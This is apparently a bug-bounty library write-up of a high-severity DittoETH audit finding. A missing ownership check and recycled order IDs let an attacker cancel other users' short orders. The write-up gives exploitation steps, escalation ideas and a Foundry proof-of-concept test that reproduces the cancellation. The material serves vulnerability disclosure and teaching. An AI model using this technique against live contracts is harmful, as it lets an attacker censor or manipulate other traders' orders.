# An attacker can cancel other people's short orders

Missing owner check in transferShortRecord lets an attacker cancel any victim's short order by reusing stale shortOrderId on their NFT.

- Payout: Audit contest
- Severity: high
- Program: DittoETH
- Found by: 00xSEV
- Disclosed: 2024-06-25
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2024-03-dittoeth-findings/issues/178
- Library page: https://bugbountylibrary.com/r/c4%3A2024-03-dittoeth%3AH-02
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic

**Target:** DittoETH LibSRUtil.transferShortRecord / NFT short record
**Root cause:** transferShortRecord cancels nft.shortOrderId when short.status == SR.PartialFill without verifying the order still belongs to the NFT owner; shortOrderIds are reused after cancellation.
**Steps:**
1. Attacker creates limit short + partial market bid so shortRecord id=2 is SR.PartialFill.
2. Attacker calls `mintNFT(asset, C.SHORT_STARTING_ID, C.STARTING_ID)` linking shortOrderId=100, then `cancelShort(C.STARTING_ID)` and `exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attacker)` to free ids.
3. Victim creates a limit short which reuses shortOrderId=100.
4. Attacker recreates a partial-fill shortRecord (id=2 reused) and calls `diamond.transferFrom(attacker, attacker, 1)`.
5. transferShortRecord sees status PartialFill and calls `LibOrders.cancelShort(asset, 100)`, canceling the victim's order.
**How found:** Code reading of LibSRUtil.transferShortRecord revealed cancelShort called on nft.shortOrderId without ownership check, combined with observation that shortOrderIds are reused after cancellation.
**Exploitation:** Attacker cycles mintNFT/cancel/exit to recycle shortOrderId and shortRecordId, then triggers transferFrom to force cancellation of arbitrary victim short orders; repeatable across many NFTs/addresses to censor or manipulate the order book.
**Escalation:** Multiple attacker addresses/NFTs allow selective cancellation of arbitrary orders, price manipulation, reward denial, and indefinite repetition.
**Insight:** When IDs are recycled after deletion, any stored foreign-key reference (like nft.shortOrderId) must be re-validated for ownership/identity at use time, not just status flags.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test1 cancels victim's short order**

```
function test1() external {
        _addAppStorageReaderToDiamond();

        address attacker = address(0x5a9a88bD94c8410243B0c04018811b8cA4D09D55);
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );

        vm.startPrank(attacker);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID);
            cancelShort(C.STARTING_ID);
        vm.stopPrank();

        STypes.ShortRecord memory shortRecord = getShortRecord(attacker, C.SHORT_STARTING_ID);
        uint88 amount = shortRecord.ercDebt;
        // Deletes the last shortRecord
        exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attacker);
        
        fundLimitShort( DEFAULT_PRICE - 1, DEFAULT_AMOUNT * 99, victim ); 

        // Creates new shortRecord
        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );
        // _logShortOrders();

        vm.prank(attacker);
        // You can comment this line to make sure cancelShort will not revert
        diamond.transferFrom(attacker, attacker, 1);

        // _logShortRecords(attacker);
        // _logShortOrders();

        vm.prank(victim);
        vm.expectRevert(Errors.NotActiveOrder.selector);
        cancelShort(C.STARTING_ID);
    }
```

